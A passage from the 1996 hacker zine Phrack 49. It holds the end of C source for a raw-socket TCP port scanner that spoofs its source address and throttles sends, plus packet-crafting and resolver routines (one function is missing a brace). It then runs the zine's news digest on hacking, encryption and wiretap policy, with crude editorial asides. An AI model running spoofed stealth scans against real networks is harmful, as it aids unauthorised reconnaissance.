  11795.                         readport->seq++, 0,
  11796.                         512,
  11797.                         NULL,
  11798.                         0);
  11799.                   }
  11800.              }
  11801.                else
  11802.              printf(" (duplicate)");
  11803.             }
  11804.           printf("\n");
  11805.           fflush(stdout);
  11806.            }
  11807.       }
  11808.     
  11809.     if (nextport(1) != NULL)
  11810.       if (FD_ISSET(rawsock,&wset)) /* process the sends */
  11811.       {
  11812.          readport = nextport(0);
  11813.          
  11814.          destaddr.sin_port = htons(readport->n);
  11815.  
  11816.          printf("* sending to port %d ",ntohs(destaddr.sin_port));
  11817.  
  11818.          readport->seq = lrand48();
  11819.          readport->sends++;
  11820.          
  11821.          tcpip_send(rawsock,&destaddr,
  11822.             spoof_addr,destaddr.sin_addr.s_addr,
  11823.             STCP_PORT,ntohs(destaddr.sin_port),
  11824.             scanflags,
  11825.             readport->seq++, lrand48(),
  11826.             512,
  11827.             NULL,
  11828.             0);
  11829.          
  11830.          gettimeofday(&waitsend,NULL);
  11831.  
  11832.          FD_ZERO(&wset);
  11833.          
  11834.          printf("\n");
  11835.          
  11836.          if ((++sendthreshold > STCP_THRESHOLD) && (slowfactor))
  11837.            {
  11838.           printf("\n\n -- THRESHOLD CROSSED - SLOWING UP SENDS\n\n");
  11839.           usecdelay *= slowfactor;
  11840.               sendthreshold = 0;
  11841.            }
  11842.       }
  11843.      }
  11844. }
  11845.  
  11846.      
  11847.  
  11848. /*
  11849.  * tcp_pkt.c
  11850.  * 
  11851.  * routines for creating TCP packets, and sending them into sockets.
  11852.  *
  11853.  * (version 0.3)
  11854.  *
  11855.  * 
  11856.  * BUGFIX: - it seems like the TCP pseudo header checksum was
  11857.  *           acting up in serveral cases.
  11858.  * ADDED : - HEXDUMP macro. 
  11859.  *         - packet dump handling
  11860.  */
  11861.  
  11862. /* remove inlines for smaller size but lower speed */
  11863.  
  11864. #include <netinet/in.h>
  11865. #include <string.h>
  11866. #include <sys/types.h>
  11867. #include <netinet/ip.h>
  11868. #include <netinet/tcp.h>
  11869.  
  11870. #define IPHDRSIZE sizeof(struct iphdr)
  11871. #define TCPHDRSIZE sizeof(struct tcphdr)
  11872. #define PSEUDOHDRSIZE sizeof(struct pseudohdr)
  11873.  
  11874. /* ********** RIPPED CODE START ******************************** */
  11875.  
  11876. /*
  11877.  * in_cksum --
  11878.  *  Checksum routine for Internet Protocol family headers (C Version)
  11879.  */
  11880. unsigned short in_cksum(addr, len)
  11881.     u_short *addr;
  11882.     int len;
  11883. {
  11884.     register int nleft = len;
  11885.     register u_short *w = addr;
  11886.     register int sum = 0;
  11887.     u_short answer = 0;
  11888.  
  11889.     /*
  11890.      * Our algorithm is simple, using a 32 bit accumulator (sum), we add
  11891.      * sequential 16 bit words to it, and at the end, fold back all the
  11892.      * carry bits from the top 16 bits into the lower 16 bits.
  11893.      */
  11894.     while (nleft > 1)  {
  11895.         sum += *w++;
  11896.         nleft -= 2;
  11897.     }
  11898.  
  11899.     /* mop up an odd byte, if necessary */
  11900.     if (nleft == 1) {
  11901.         *(u_char *)(&answer) = *(u_char *)w ;
  11902.         sum += answer;
  11903.     }
  11904.  
  11905.     /* add back carry outs from top 16 bits to low 16 bits */
  11906.     sum = (sum >> 16) + (sum & 0xffff);   /* add hi 16 to low 16 */
  11907.     sum += (sum >> 16);                   /* add carry */
  11908.     answer = ~sum;                        /* truncate to 16 bits */
  11909.     return(answer);
  11910. }
  11911.  
  11912. /* ********** RIPPED CODE END ******************************** */
  11913.  
  11914. /*
  11915.  * HEXDUMP()
  11916.  * 
  11917.  * not too much to explain
  11918.  */
  11919. inline void HEXDUMP(unsigned len, unsigned char *data) 
  11920.    unsigned i;
  11921.    for (i=0;i<len;i++) printf("%02X%c",*(data+i),((i+1)%16) ? ' ' : '\n');
  11922. }
  11923.  
  11924. /*
  11925.  * tcpip_send()
  11926.  * 
  11927.  * sends a totally customized datagram with TCP/IP headers. 
  11928.  */
  11929.  
  11930. inline int tcpip_send(int      socket,
  11931.                   struct sockaddr_in *address,
  11932.               unsigned long s_addr,
  11933.               unsigned long t_addr,
  11934.               unsigned      s_port,
  11935.               unsigned      t_port,
  11936.               unsigned char tcpflags,
  11937.               unsigned long seq,
  11938.               unsigned long ack,
  11939.                       unsigned      win,
  11940.               char          *datagram,
  11941.               unsigned      datasize)
  11942.      {
  11943.     
  11944.         struct pseudohdr  {
  11945.            unsigned long saddr;
  11946.        unsigned long daddr;
  11947.        char useless;
  11948.        unsigned char protocol;
  11949.        unsigned int tcplength;
  11950.     };
  11951.  
  11952.     unsigned char packet[2048];
  11953.     struct iphdr        *ip     = (struct iphdr *)packet;
  11954.     struct tcphdr       *tcp    = (struct tcphdr *)(packet+IPHDRSIZE);
  11955.     struct pseudohdr    *pseudo = (struct pseudohdr *)(packet+IPHDRSIZE-PSEUDOHDRSIZE);
  11956.         unsigned char       *data   = (unsigned char *)(packet+IPHDRSIZE+TCPHDRSIZE);      
  11957.  
  11958.     /*
  11959.      * The above casts will save us a lot of memcpy's later.
  11960.          * The pseudo-header makes this way become easier than a union.
  11961.          */
  11962.     
  11963.     memcpy(data,datagram,datasize);
  11964.     memset(packet,0,TCPHDRSIZE+IPHDRSIZE);
  11965.  
  11966.     /* The data is in place, all headers are zeroed. */
  11967.     
  11968.         pseudo->saddr = s_addr;
  11969.     pseudo->daddr = t_addr;
  11970.     pseudo->protocol = IPPROTO_TCP;   
  11971.     pseudo->tcplength = htons(TCPHDRSIZE+datasize);  
  11972.     
  11973.         /* The TCP pseudo-header was created. */
  11974.        
  11975.     tcp->th_sport   = htons(s_port);
  11976.     tcp->th_dport   = htons(t_port);
  11977.     tcp->th_off     = 5;          /* 20 bytes, (no options) */
  11978.     tcp->th_flags   = tcpflags;
  11979.     tcp->th_seq     = htonl(seq);
  11980.     tcp->th_ack     = htonl(ack);
  11981.         tcp->th_win     = htons(win); /* we don't need any bigger, I guess. */
  11982.     
  11983.     /* The necessary TCP header fields are set. */
  11984.     
  11985.     tcp->th_sum = in_cksum(pseudo,PSEUDOHDRSIZE+TCPHDRSIZE+datasize);
  11986.     
  11987.     memset(packet,0,IPHDRSIZE); 
  11988.     /* The pseudo-header is wiped to clear the IP header fields */
  11989.     
  11990.     ip->saddr    = s_addr;
  11991.     ip->daddr    = t_addr;
  11992.         ip->version  = 4;
  11993.     ip->ihl      = 5;
  11994.     ip->ttl      = 255;
  11995.         ip->id       = random()%1996;
  11996.     ip->protocol = IPPROTO_TCP; /* should be 6 */
  11997.         ip->tot_len  = htons(IPHDRSIZE + TCPHDRSIZE + datasize);
  11998.         ip->check    = in_cksum((char *)packet,IPHDRSIZE);
  11999.         
  12000.     /* The IP header is intact. The packet is ready. */
  12001.  
  12002. #ifdef TCP_PKT_DEBUG
  12003.     printf("Packet ready. Dump: \n");
  12004. #ifdef TCP_PKT_DEBUG_DATA
  12005.     HEXDUMP(IPHDRSIZE+TCPHDRSIZE+datasize,packet);
  12006. #else
  12007.     HEXDUMP(IPHDRSIZE+TCPHDRSIZE,packet);
  12008. #endif
  12009.         printf("\n");
  12010. #endif
  12011.  
  12012.     return sendto(socket, packet, IPHDRSIZE+TCPHDRSIZE+datasize, 0, (struct sockaddr *)address, sizeof(struct sockaddr));
  12013.         
  12014.     /* And off into the raw socket it goes. */
  12015.      }
  12016.        
  12017.     
  12018.  
  12019.  
  12020. /*
  12021.  * resolve.c
  12022.  * 
  12023.  * resolves an internet text address into (struct sockaddr_in).
  12024.  *
  12025.  * CHANGES: 1. added the RESOLVE_QUIET preprocessor conditions. Jan 1996
  12026.  *          2. added resolve_rns() to always provide both name/ip. March 1996
  12027.  */
  12028.  
  12029. #include <sys/types.h>
  12030. #include <string.h>
  12031. #include <netdb.h>
  12032. #include <stdio.h>
  12033. #include <netinet/in.h>
  12034.  
  12035. int resolve( const char *name, struct sockaddr_in *addr, int port )
  12036.      {
  12037.     struct hostent *host;
  12038.     
  12039.     /* clear everything in case I forget something */
  12040.     bzero(addr,sizeof(struct sockaddr_in));
  12041.     
  12042.     if (( host = gethostbyname(name) ) == NULL )  {
  12043. #ifndef RESOLVE_QUIET
  12044.        fprintf(stderr,"unable to resolve host \"%s\" -- ",name);
  12045.        perror("");
  12046. #endif
  12047.        return -1;
  12048.     }
  12049.      
  12050.     addr->sin_family = host->h_addrtype;
  12051.     memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
  12052.     addr->sin_port = htons(port);
  12053.      
  12054.         return 0;
  12055.      }
  12056.  
  12057. int resolve_rns( char *name , unsigned long addr )
  12058.      {
  12059.     struct hostent *host;
  12060.         unsigned long address;
  12061.     
  12062.     address = addr;
  12063.     host = gethostbyaddr((char *)&address,4,AF_INET);
  12064.  
  12065.           if (!host)  {
  12066. #ifndef RESOLVE_QUIET
  12067.        fprintf(stderr,"unable to resolve host \"%s\" -- ",inet_ntoa(addr));
  12068.        perror("");
  12069. #endif
  12070.  
  12071.        return -1;
  12072.     }
  12073.  
  12074.  
  12075.     strcpy(name,host->h_name);
  12076.     
  12077.         return 0;
  12078.      }
  12079.     
  12080.  
  12081. unsigned long addr_to_ulong(struct sockaddr_in *addr)
  12082.      {
  12083.     return addr->sin_addr.s_addr;
  12084.      }
  12085.  
  12086.                               .oO Phrack 49 Oo.
  12087.  
  12088.                           Volume Seven, Issue Forty-Nine
  12089.  
  12090.                                     16 of 16
  12091.  
  12092.  
  12093.               PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
  12094.               PWN                                             PWN
  12095.               PWN              Phrack World News              PWN
  12096.               PWN                                             PWN
  12097.               PWN                  Issue 49                   PWN
  12098.               PWN                                             PWN
  12099.               PWN             Compiled by DisordeR            PWN
  12100.               PWN                                             PWN
  12101.               PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
  12102.  
  12103.  
  12104. Phrack World News #49 -- Index
  12105.  
  12106. 01. CIA attacked, pulls plug on Internet site
  12107. 02. Letter From Senator Patrick Leahy (D-VT) on Encryption
  12108. 03. Java Black Widows - Sun Declares War
  12109. 04. Jacking in from the "Smoked Filled Room" Port
  12110. 05. Panix Attack
  12111. 06. Massive Usenet Cancels
  12112. 07. Mitnick Faces 25 More Federal Counts of Computer Hacking
  12113. 08. Hacker is freed but he's banned from computers
  12114. 09. Computer Hacker Severely Beaten after Criticizing Prison Conditions
  12115.     Target of Campaign by U.S. Secret Service
  12116. 10. Bernie S. Released!
  12117. 11. <The Squidge Busted>
  12118. 12. School Hires Student to Hack Into Computers
  12119. 13. Paranoia and Brit Hackers Fuel Infowar Craze in Spy Agencies
  12120. 14. Hackers Find Cheap Scotland Yard Phone Connection
  12121. 15. U.S. Official Warns OF "Electronic Pearl Harbor"
  12122. 16. Suit Challenges State's Restraint of the Internet Via AP
  12123. 17. U.S. Government Plans Computer Emergency Response Team
  12124. 18. Hackers $50K challenge to break Net security system
  12125. 19. Criminal cult begins PGP crack attempt
  12126. 20. Hackers Bombard Internet
  12127. 21. Crypto Mission Creep
  12128. 22. Hacker posts nudes on court's Web pages
  12129. 23. Hacking Into Piracy
  12130. 24. Revealing Intel's Secrets
  12131. 25. Internet Boom Puts Home PCs At Risk Of Hackers
  12132. 26. Computer hacker Mitnick pleads innocent
  12133. 27. Hackers Destroy Evidence of Gulf War Chemical/Biological Weapons
  12134. 28. Criminals Slip Through The Net
  12135.  
  12136.  
  12137. [=-------------------------------------------------------------------------=]
  12138.  
  12139. title: CIA attacked, pulls plug on Internet site
  12140. author: unknown
  12141. source: Reuter
  12142.  
  12143. WASHINGTON (Reuter) - The Central Intelligence Agency, that bastion of
  12144. spy technology and computer wizardry, pulled the plug on its World
  12145. Wide Web site on the Internet Thursday after a hacker broke in and
  12146. replaced it with a crude parody.
  12147.  
  12148. CIA officials said their vandalized homepage -- altered to read
  12149. "Welcome to the Central Stupidity Agency" -- was in no way linked to
  12150. any mainframe computers containing classified national security
  12151. information.
  12152.  
  12153. [* Excuse me for a minute while my erection goes down. *]
  12154.  
  12155. The site was tampered with Wednesday evening and the CIA closed it
  12156. Thursday morning while a task force looked into the security breach,
  12157. CIA spokeswoman Jane Heishman said. Part of the hacker's text read
  12158. "Stop Lying."
  12159.  
  12160. "It's definitely a hacker" who pierced the system's security, she
  12161. said. "The agency has formed a task force to look into what happend
  12162. and how to prevent it."
  12163.  
  12164. [* No shit?! It was a hacker that did that? *]
  12165.  
  12166. The CIA web site (http://www.odci.gov/cia) showcases unclassified
  12167. information including spy agency press releases, officials' speeches,
  12168. historical rundowns and the CIA's World Fact Book, a standard
  12169. reference work.
  12170.  
  12171. The cyber-attack matched one that forced the Justice Department to
  12172. close its Web site last month after hackers inserted a swastika and
  12173. picture of Adolph Hitler.  The penetration of the CIA homepage
  12174. highlighted the vulnerability of Internet sites designed to attract
  12175. the public and drove home the need for multiple layers of security.
  12176.  
  12177. "You want people to visit, you want them to interact, but you don't
  12178. want them to leave anything behind," said Jon Englund of the
  12179. Information Technology Association of America, a trade group of
  12180. leading software and telecommunications firms.
  12181.  
  12182. [=-------------------------------------------------------------------------=]
  12183.  
  12184. From: Senator_Leahy@LEAHY.SENATE.GOV
  12185. Date: Thu, 02 May 96 12:04:07 EST
  12186.  
  12187. -----BEGIN PGP SIGNED MESSAGE-----
  12188.  
  12189.      LETTER FROM SENATOR PATRICK LEAHY (D-VT) ON ENCRYPTION
  12190.  
  12191. May 2, 1996
  12192.  
  12193. Dear Friends:
  12194.  
  12195. Today, a bipartisan group of Senators has joined me in supporting
  12196. legislation to encourage the development and use of strong,
  12197. privacy-enhancing technologies for the Internet by rolling back
  12198. the out-dated restrictions on the export of strong cryptography.
  12199.  
  12200. In an effort to demonstrate one of the more practical uses of
  12201. encryption technology (and so that you all know this message
  12202. actually came from me), I have signed this message using a
  12203. digital signature generated by the popular encryption program
  12204. PGP.  I am proud to be the first member of Congress to utilize
  12205. encryption and digital signatures to post a message to the
  12206. Internet.
  12207.  
  12208. [* The first?! We're doomed!! *]
  12209.  
  12210. As a fellow Internet user, I care deeply about protecting
  12211. individual privacy and encouraging the development of the Net as
  12212. a secure and trusted communications medium.  I do not need to
  12213. tell you that current export restrictions only allow American
  12214. companies to export primarily weak encryption technology.  The
  12215. current strength of encryption the U.S. government will allow out
  12216. of the country is so weak that, according to a January 1996 study
  12217. conducted by world-renowned cryptographers, a pedestrian hacker
  12218. can crack the codes in a matter of hours!  A foreign intelligence
  12219. agency can crack the current 40-bit codes in seconds.
  12220.  
  12221. [* That should read "As a fellow Internet user ..who doesn't read
  12222.    his own mail... *]
  12223.  
  12224. Perhaps more importantly, the increasing use of the Internet and
  12225. similar interactive communications technologies by Americans to
  12226. obtain critical medical services, to conduct business, to be
  12227. entertained and communicate with their friends, raises special
  12228. concerns about the privacy and confidentiality of those
  12229. communications.  I have long been concerned about these issues,
  12230. and have worked over the past decade to protect privacy and
  12231. security for our wire and electronic communications.  Encryption
  12232. technology provides an effective way to ensure that only the
  12233. people we choose can read our communications.
  12234.  
  12235. I have read horror stories sent to me over the Internet about how
  12236. human rights groups in the Balkans have had their computers
  12237. confiscated during raids by security police seeking to find out
  12238. the identities of people who have complained about abuses.
  12239. Thanks to PGP, the encrypted files were undecipherable by the
  12240. police and the names of the people who entrusted their lives to
  12241. the human rights groups were safe.
  12242.  
  12243. The new bill, called the "Promotion of Commerce On-Line in the
  12244. Digital Era (PRO-CODE) Act of 1996," would:
  12245.  
  12246.      o    bar any government-mandated use of any particular
  12247.      encryption system, including key escrow systems and affirm
  12248.      the right of American citizens to use whatever form of
  12249.      encryption they choose domestically;
  12250.  
  12251. [* Thank you for permission to do that.. even though it is legal already *]
  12252.  
  12253.      o    loosen export restrictions on encryption products so
  12254.      that American companies are able to export any generally
  12255.      available or mass market encryption products without
  12256.      obtaining government approval; and
  12257.  
  12258. [* Loosen? Why not abolish? *]
  12259.  
  12260.      o    limit the authority of the federal government to set
  12261.      standards for encryption products used by businesses and
  12262.      individuals, particularly standards which result in products
  12263.      with limited key lengths and key escrow.
  12264.  
  12265. This is the second encryption bill I have introduced with Senator
  12266. Burns and other congressional colleagues this year. Both bills
  12267. call for an overhaul of this country's export restrictions on
  12268. encryption, and, if enacted, would quickly result in the
  12269. widespread availability of strong, privacy protecting
  12270. technologies. Both bills also prohibit a government-mandated key
  12271. escrow encryption system.  While PRO-CODE would limit the
  12272. authority of the Commerce Department to set encryption standards
  12273. for use by private individuals and businesses, the first bill we
  12274. introduced, called the "Encrypted Communications Privacy Act",
  12275. S.1587, would set up stringent procedures for law enforcement to
  12276. follow to obtain decoding keys or decryption assistance to read
  12277. the plaintext of encrypted communications obtained under court
  12278. order or other lawful process.
  12279.  
  12280. It is clear that the current policy towards encryption exports is
  12281. hopelessly outdated, and fails to account for the real needs of
  12282. individuals and businesses in the global marketplace.  Encryption
  12283. expert Matt Blaze, in a recent letter to me, noted that current
  12284. U.S. regulations governing the use and export of encryption are
  12285. having a "deleterious effect ... on our country's ability to
  12286. develop a reliable and trustworthy information infrastructure."
  12287. The time is right for Congress to take steps to put our national
  12288. encryption policy on the right course.
  12289.  
  12290. I am looking forward to hearing from you on this important issue.
  12291. Throughout the course of the recent debate on the Communications
  12292. Decency Act, the input from Internet users was very valuable to
  12293. me and some of my Senate colleagues.
  12294.  
  12295. You can find out more about the issue at my World Wide Web home
  12296. page (http://www.leahy.senate.gov/) and at the Encryption Policy
  12297. Resource Page (http://www.crypto.com/). Over the coming months, I
  12298. look forward to the help of the Net community in convincing other
  12299. Members of Congress and the Administration of the need to reform
  12300. our nation's cryptography policy.
  12301.  
  12302. Sincerely,
  12303.  
  12304. Patrick Leahy
  12305. United States Senator
  12306.  
  12307. [=-------------------------------------------------------------------------=]
  12308.  
  12309. title: JAVA BLACK WIDOWS - SUN DECLARES WAR
  12310. author: unknown
  12311. from: staff@hpp.com
  12312.  
  12313.  
  12314. Sun Microsystems' has declared war on Black Widow Java
  12315. applets on the Web. This is the message from Sun in response
  12316. to an extensive Online Business Consultant (OBC/May 96)
  12317. investigation into Java security.
  12318.  
  12319. OBC's investigation and report was prompted after renowned
  12320. academics, scientists and hackers announced Java applets
  12321. downloaded from the WWW presented grave security risks for
  12322. users. Java Black Widow applets are hostile, malicious traps set
  12323. by cyberthugs out to snare surfing prey, using Java as their technology.
  12324. OBC received a deluge of letters asking for facts after OBC
  12325. announced a group of scientists from Princeton University, Drew
  12326. Dean, Edward Felten and Dan Wallach, published a paper declaring
  12327. "The Java system in its current form cannot easily be made secure."
  12328. The paper can be retrieved at
  12329. http://www.cs.princeton.edu/sip/pub/secure96.html.
  12330.  
  12331. Further probing by OBC found that innocent surfers on the Web who
  12332. download Java applets into Netscape's Navigator and Sun's
  12333. HotJava browser, risk having "hostile" applets interfere with their
  12334. computers (consuming RAM and CPU cycles). It was also discovered
  12335. applets could connect to a third party on the Internet and, without the
  12336. PC owner's knowledge, upload sensitive information from the user's
  12337. computer. Even the most sophisticated firewalls can be penetrated . . .
  12338. "because the attack is launched from behind the firewall," said the
  12339. Princeton scientists.
  12340.  
  12341. One reader said, "I had no idea that it was possible to stumble on
  12342. Web sites that could launch an attack on a browser."  Another said,
  12343. "If this is allowed to get out of hand it will drive people away from the
  12344. Web. Sun must allay fears."
  12345.  
  12346. [* Faster connections if people are driven from the web.. hmm... :) *]
  12347.  
  12348. The response to the Home Page Press hostile applet survey led to the
  12349. analogy of Black Widow; that the Web was a dangerous place where
  12350. "black widows" lurked to snare innocent surfers. As a result the
  12351. Princeton group and OBC recommended users should "switch off"
  12352. Java support in their Netscape Navigator browsers. OBC felt that Sun
  12353. and Netscape had still to come clean on the security issues. But
  12354. according to Netscape's Product Manager, Platform, Steve Thomas,
  12355. "Netscape wishes to make it clear that all known security problems with
  12356. the Navigator Java and JavaScript environment are fixed in Navigator
  12357. version 2.02."
  12358.  
  12359. However, to date, Netscape has not answered OBC's direct questions
  12360. regarding a patch for its earlier versions of Navigator that supported
  12361. Java . . . the equivalent of a product recall in the 3D world. Netscape
  12362. admits that flaws in its browsers from version 2.00 upwards were
  12363. related to the Java security problems, but these browsers are still in use
  12364. and can be bought from stores such as CompUSA and Cosco. A floor
  12365. manager at CompUSA, who asked not to be named, said "its news to
  12366. him that we are selling defective software. The Navigator walks off our
  12367. floor at $34 a pop."
  12368.  
  12369. OBC advised Netscape the defective software was still selling at
  12370. software outlets around the world and asked Netscape what action was
  12371. going to be taken in this regard. Netscape has come under fire recently
  12372. for its policy of not releasing patches to software defects; but rather
  12373. forcing users to download new versions. Users report this task to be a
  12374. huge waste of time and resources because each download consists of
  12375. several Mbytes. As such defective Navigators don't get patched.
  12376.  
  12377. OBC also interviewed Sun's JavaSoft security guru, Ms. Marianne Mueller,
  12378. who said "we are taking security very seriously and working on it very
  12379. hard." Mueller said the tenet that Java had to be re-written from scratch or
  12380. scrapped "is an oversimplification of the challenge of running executable
  12381. content safely on the web. Security is hard and subtle, and trying to build
  12382. a secure "sandbox" [paradigm] for running untrusted downloaded applets
  12383. on the web is hard."
  12384.  
  12385. Ms. Mueller says Sun, together with their JavaSoft (Sun's Java division)
  12386. partners, have proposed a "sandbox model" for security in which "we
  12387. define a set of policies that restrict what applets can and cannot do---these
  12388. are the boundaries of the sandbox. We implement boundary checks---when
  12389. an applet tries to cross the boundary, we check whether or not it's allowed
  12390. to. If it's allowed to, then the applet is allowed on its way. If not, the
  12391. system throws a security exception.
  12392.  
  12393. "The 'deciding whether or not to allow the boundary to be crossed' is the
  12394. research area that I believe the Princeton people are working on," said
  12395. Mueller. "One way to allow applets additional flexibility is if the applet
  12396. is signed (for example, has a digital signature so that the identity of the
  12397. applet's distributor can be verified via a Certificate Authority) then allow
  12398. the applet more flexibility.
  12399.  
  12400.  "There are two approaches: One approach is to let the signed applet
  12401. do anything. A second approach is to do something more complex and
  12402. more subtle, and only allow the applet particular specified capabilities.
  12403. Expressing and granting capabilities can be done in a variety of ways.
  12404.  
  12405. "Denial of service is traditionally considered one of the hardest security
  12406. problems, from a practical point of view. As [Java's creator] James
  12407. Gosling says, it's hard to tell the difference between an MPEG
  12408. decompressor and a hostile applet that consumes too many resources!
  12409. But recognizing the difficulty of the problem is not the same as 'passing
  12410. the buck.' We are working on ways to better monitor and control the
  12411. use (or abuse) of resources by Java classes. We could try to enforce
  12412. some resource limits, for example. These are things we are investigating.
  12413.  
  12414. "In addition, we could put mechanisms in place so that user interface
  12415. people (like people who do Web browsers) could add 'applet monitors'
  12416. so that browser users could at least see what is running in their browser,
  12417. and kill off stray applets. This kind of user interface friendliness (letting
  12418. a user kill of an applet) is only useful if the applet hasn't already grabbed
  12419. all the resources, of course."
  12420.  
  12421. The experts don't believe that the problem of black widows and hostile
  12422. applets is going to go away in a hurry. In fact it may get worse. The
  12423. hackers believe that when Microsoft releases Internet Explorer 3.00 with
  12424. support for Java, Visual Basic scripting and the added power of its
  12425. ActiveX technology, the security problem will become worse.
  12426.  
  12427. "There is opportunity for abuse, and it will become an enormous
  12428. problem," said Stephen Cobb, Director of Special Projects for the
  12429. National Computer Security Association (NCSA). "For example, OLE
  12430. technology from Microsoft [ActiveX] has even deeper access to a
  12431. computer than Java does."
  12432.  
  12433. JavaSoft's security guru Mueller agreed on the abuse issue: "It's going
  12434. to be a process of education for people to understand the difference
  12435. between a rude applet, and a serious security bug, and a theoretical
  12436. security bug, and an inconsequential security-related bug. In the case of
  12437. hostile applets, people will learn about nasty/rude applet pages, and
  12438. those pages won't be visited. I understand that new users of the Web
  12439. often feel they don't know where they're going when they point and click,
  12440. but people do get a good feel for how it works, pretty quickly, and I
  12441. actually think most users of the Web can deal with the knowledge that
  12442. not every page on the web is necessarily one they'd want to visit.
  12443. Security on the web in some sense isn't all that different from security
  12444. in ordinary life. At some level, common sense does come into play.
  12445.  
  12446. "Many people feel that Java is a good tool for building more secure
  12447. applications. I like to say that Java raises the bar for security on the
  12448. Internet. We're trying to do something that is not necessarily easy, but
  12449. that doesn't mean it isn't worth trying to do. In fact it may be worth
  12450. trying to do because it isn't easy.  People are interested in seeing the
  12451. software industry evolve towards more robust software---that's the
  12452. feedback I get from folks on the Net."
  12453.  
  12454. # # #
  12455.  
  12456. The report above may be reprinted with credit provided as follows:
  12457.  
  12458. Home Page Press, Inc.,  http://www.hpp.com  and Online Business ConsultantOE
  12459. Please refer to the HPP Web site for additional information about Java and
  12460. OBC.
  12461.  
  12462. [=-------------------------------------------------------------------------=]
  12463.  
  12464. title: Jacking in from the "Smoked Filled Room" Port
  12465. author: "Brock N. Meeks" <brock@well.com>
  12466. source: CyberWire Dispatch // September // Copyright (c) 1996 //
  12467.  
  12468. Washington, DC -- Federal provisions funding the digital telephony bill
  12469. and roving wiretaps, surgically removed earlier this year from an
  12470. anti-terrorism bill, have quietly been wedged into a $600 billion
  12471. omnibus spending bill.
  12472.  
  12473. The bill creates a Justice Department "telecommunications carrier
  12474. compliance fund" to pay for the provisions called for in the digital
  12475. telephony bill, formally known as the Communications Assistance in Law
  12476. Enforcement Act (CALEA).  In reality, this is a slush fund.
  12477.  
  12478. Congress originally budgeted $500 million for CALEA, far short of the
  12479. billions actually needed to build in instant wiretap capabilities into
  12480. America's telephone, cable, cellular and PCS networks.  This bill now
  12481. approves a slush fund of pooled dollars from the budgets of "any agency"
  12482. with "law enforcement, national security or intelligence
  12483. responsibilities."  That means the FBI, CIA, NSA and DEA, among others,
  12484. will now have a vested interest in how the majority of your
  12485. communications are tapped.
  12486.  
  12487. The spending bill also provides for "multipoint wiretaps."  This is the
  12488. tricked up code phase for what amounts to roving wiretaps.  Where the
  12489. FBI can only tap one phone at a time in conjunction with an
  12490. investigation, it now wants the ability to "follow" a conversation from
  12491. phone to phone; meaning that if your neighbor is under investigation and
  12492. happens to use your phone for some reason, your phone gets tapped.    It
  12493. also means that the FBI can tap public pay phones... think about that
  12494. next time you call 1-800-COLLECT.
  12495.  
  12496. In addition, all the public and congressional accountability provisions
  12497. for how CALEA money was spent, which were in the original House version
  12498. (H.R. 3814), got torpedoed in the Senate Appropriations Committee.
  12499.  
  12500. Provisions stripped out by the Senate:
  12501.  
  12502. -- GONE: Money isn't to be spent unless an implementation plan is sent
  12503. to each member of the Judiciary Committee and Appropriations committees.
  12504.  
  12505. -- GONE:  Requirement that the FBI provide public details of how its new
  12506. wiretap plan exceeds or differs from current capabilities.
  12507.  
  12508. -- GONE:  Report on the "actual and maximum number of simultaneous
  12509. surveillance/intercepts" the FBI expects.   The FBI ran into a fire storm
  12510. earlier this year when it botched its long overdue report that said it
  12511. wanted the capability to tap one out of every 100 phones
  12512. *simultaneously*.   Now, thanks to this funding bill, rather than having
  12513. to defend that request, it doesn't have to say shit.
  12514.  
  12515. -- GONE:  Complete estimate of the full costs of deploying and
  12516. developing the digital wiretapping plan.
  12517.  
  12518. -- GONE:  An annual report to Congress "specifically detailing" how all
  12519. taxpayer money -- YOUR money -- is spent to carry out these new wiretap
  12520. provisions.
  12521.  
  12522. "No matter what side you come down on this (digital wiretapping) issue,
  12523. the stakes for democracy are that we need to have public accountability,"
  12524. said Jerry Berman, executive director of the Center for Democracy and
  12525. Technology.
  12526.  
  12527. Although it appeared that no one in congress had the balls to take on
  12528. the issue, one stalwart has stepped forward, Rep. Bob Barr (R-Ga.).  He
  12529. has succeeded in getting some of the accountability provisions back into
  12530. the bill, according to a Barr staffer.  But the fight couldn't have been
  12531. an easy one.   The FBI has worked congress relentlessly in an effort to
  12532. skirt the original reporting and implementation requirements as outlined
  12533. in CALEA.  Further, Barr isn't exactly on the FBI's Christmas card list.
  12534. Last year it was primarily Barr who scotched the funding for CALEA
  12535. during the 104th Congress' first session.
  12536.  
  12537. But Barr has won again.  He has, with backing from the Senate, succeeded
  12538. in *putting back* the requirement that the FBI must justify all CALEA
  12539. expenditures to the Judiciary Committee.   Further, the implementation
  12540. plan, "though somewhat modified" will "still have some punch," Barr's
  12541. staffer assured me.  That includes making the FBI report on its
  12542. expected capacities and capabilities for digital wiretapping. In other
  12543. words, the FBI won't be able to "cook the books" on the wiretap figures
  12544. in secret.  Barr also was successful in making the Justice Department
  12545. submit an annual report detailing its CALEA spending to Congress.
  12546.  
  12547. However, the funding for digital wiretaps remains.  Stuffing the funding
  12548. measures into a huge omnibus spending bill almost certainly assures its
  12549. passage. Congress is twitchy now, anxious to leave.  They are chomping
  12550. at the bit, sensing the end of the 104th Congress' tortured run as the
  12551. legislative calender is due to run out sometime early next week.  Then
  12552. they will all literally race from Capitol Hill at the final gavel,
  12553. heading for the parking lot, jumping in their cars like stock car
  12554. drivers as they make a made dash for National Airport to return to their
  12555. home districts in an effort to campaign for another term in the loopy
  12556. world of national politics.
  12557.  
  12558. Congress is "going to try to sneak this (spending bill) through the back
  12559. door in the middle of the night," says Leslie Hagan, legislative
  12560. director for the National Association of Criminal Defense Lawyers.  She
  12561. calls this a "worst case scenario" that is "particularly dangerous"
  12562. because the "deliberative legislative process is short-ciricutied."
  12563.  
  12564. Such matters as wiretapping deserve to be aired in the full sunlight of
  12565. congressional hearings, not stuffed into an 11th hour spending bill.
  12566. This is legislative cowardice.  Sadly, it will most likely succeed.
  12567.  
  12568. And through this all, the Net sits mute.
  12569.  
  12570. Unlike a few months ago, on the shameful day the Net cried "wolf" over
  12571. these same provisions, mindlessly flooding congressional switchboards
  12572. and any Email box within keyboard reach, despite the fact that the
  12573. funding provisions had been already been stripped from the
  12574. anti-terrorism bill, there has been no hue-and-cry about these most
  12575. recent moves.
  12576.  
  12577. Yes, some groups, such as the ACLU, EPIC and the Center for Democracy
  12578. and Technology have been working the congressional back channels,
  12579. buzzing around the frenzied legislators like crazed gnats.
  12580.  
  12581. But why haven't we heard about all this before now?  Why has  this bill
  12582. come down to the wire without the now expected flurry of "alerts"
